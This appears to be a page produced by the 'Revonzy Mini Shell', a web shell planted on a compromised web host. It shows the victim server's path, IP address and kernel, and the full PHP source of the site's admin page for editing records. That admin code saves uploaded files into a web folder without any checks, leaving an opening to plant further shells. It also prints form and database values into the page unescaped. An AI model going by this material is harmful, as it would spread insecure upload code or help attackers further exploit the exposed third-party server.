Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/public_html/pdpczare.com/879_dfdf7_sdddadmin/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/public_html/pdpczare.com/879_dfdf7_sdddadmin/edit-details.php

<?php
	require_once("lib/functions.php");
	$db = new login_function();

   $table="";
					$serial_no="";
					$title="";
					$cfile="";
					$sequence="";
					$msg="";
					if(isset($_GET['edit_id']))
					{
						$edit_id=$_GET['edit_id'];
						$_SESSION['edit_id']=$edit_id;
		
					}
					if(isset($_SESSION['edit_id']))
					{
						$edit_id=$_SESSION['edit_id'];
					}
					if(isset($_POST['edit']))
					{
						$table		=	$_POST['table'];
						$serial_no	=	$_POST['serial_no'];
						$title		=	$_POST['title'];
						$sequence   =   $_POST['sequence'];
						$year       =   $_POST['year'];
						
						if($db->update_detail($table,$serial_no,$title,$edit_id,$sequence,$year))
						{
							$msg=1;
						}
						else
						{
								$msg=2;
						}
					}
						$data=array();
						$data=$db-> get_detail_for_edit($edit_id);
						if(!empty($data))
						{
							$table		=	$data[0];
							$serial_no	=	$data[1];
							$title		=	$data[2];
							$sequence   =   $data[3];
							$year       =   $data[4];
						}
?>
<?php
	require_once('header.php');
?>
<style>
.form-group
{
	margin:auto;
	height:300px; 
	width:500px;
	margin-top:50px;
	
}
</style>
        <div id="page-wrapper">
            <div class="row">
                <div class="col-lg-12">
                    <h1 class="page-header">Quantitative / Qualitative :</h1>
                </div>
            </div>
            
            <div class="row">
                <div class="col-lg-12">
                    <div class="panel panel-default">
                        <div class="panel-heading">
                             Quantitative / Qualitative :
                        </div>
                        <div class="panel-body">
                            <div class="row">
                                <div class="col-lg-6">

		<form autocomplete="off" method="post">
				<div class="form-group">
					<?php
									if($msg==1)
									{
								?>
									<div class="alert alert-success">
									<span class="alert-link">Success! </span>Your Details Updated Successfully.
									</div>	
								<?php
									}
								?>
										
								<?php
								if($msg==2)
									{
								?>
									
									<div class="alert alert-danger">
									<span class="alert-link">Failed! </span> Your Details failed to Update.
									</div>	
								<?php
									}
	?>
	

					<label for="sel1">Select Tabel:</label>
					<select class="form-control" id="di" name="table">
					<?php
					if($table!="" AND $tabel!="select table")
					{
				?>
					<option value="<?php echo $table; ?>"><?php echo $table; ?></option>
				<?php
					}
				?>
					<option value="select tabel">Select Table</option>
					<option value="one">One</option>
					<option value="two">Two</option>
					
					</select><br>
				
					<input type = "text" name = "serial_no" placeholder ="Enter Serial No" class="form-control"value="<?php echo $serial_no;?>" required><br>
					<input type = "number" name = "year" placeholder ="Enter Year" class="form-control" required value="<?php echo $year; ?>"><br>
					<input type = "text" name ="title" placeholder="Enter Title" class="form-control" value="<?php echo $title;?>" required><br>
					<input type = "number" name ="sequence" placeholder="Enter Sequence No" class="form-control" value="<?php echo $sequence;?>" required><br>
					
					<input type="submit" name="edit" value="Edit Details" class="btn btn-primary col-sm-6" style="margin-left:100px;;" />
				
				</div>
				</form >
				
				
				<?php 
					if(isset($_GET['edit_id']))
					{
						$edit_id=$_GET['edit_id'];
						$_SESSION['edit_id']=$edit_id;
		
					}
					if(isset($_SESSION['edit_id']))
					{
						$edit_id=$_SESSION['edit_id'];
					}
					if(isset($_POST['update']))
					{
						
						$cfile2		 = $_FILES['cfile2']['name'];
						$target = "images/".basename($cfile2);
							if (move_uploaded_file($_FILES['cfile2']['tmp_name'], $target)) 
							{
									$error_message = "file uploaded successfully";
							}
							else
							{
									$error_message = "Failed to upload file";
							}
  
						
						if($db->update_image($cfile2,$edit_id))
						{
								
								$msg1=1;
						}
						else
						{
								$msg1=2;
						}
						
					/*	$file = 'images/".$cfile."';
						if (!unlink($file))
							{
							echo ("Error deleting $file");
							}
						else
							{
								echo ("Deleted $file");
							}*/
	
					
					
					}
						$data=array();
						$data=$db-> get_image($edit_id);
						if(!empty($data))
						{
							
							$cfile		=	$data[0];
							
						}
					
				
				?>
				
				<div class="form-group">
				<form autocomplete="off" method="post" enctype="multipart/form-data">
				<img class="img-responsive" id="img" style="height:100px; width:100px;" <?php echo "<img src='images/".$cfile."'";?>> <br>
				<button name="update">Remove </button>
				<input type="file" name="cfile2">
				<input type="submit" name="update" value="Edit Image" class="btn btn-primary col-sm-6" style="margin-left:100px;;" />
				<form>
				</div>
				
            </div>
                            
                               
                                
                            </div>
                           
                        </div>
                        
                    </div>
                    
                </div>
              
            </div>
            
        </div>
       

    </div>
    

</body>

</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4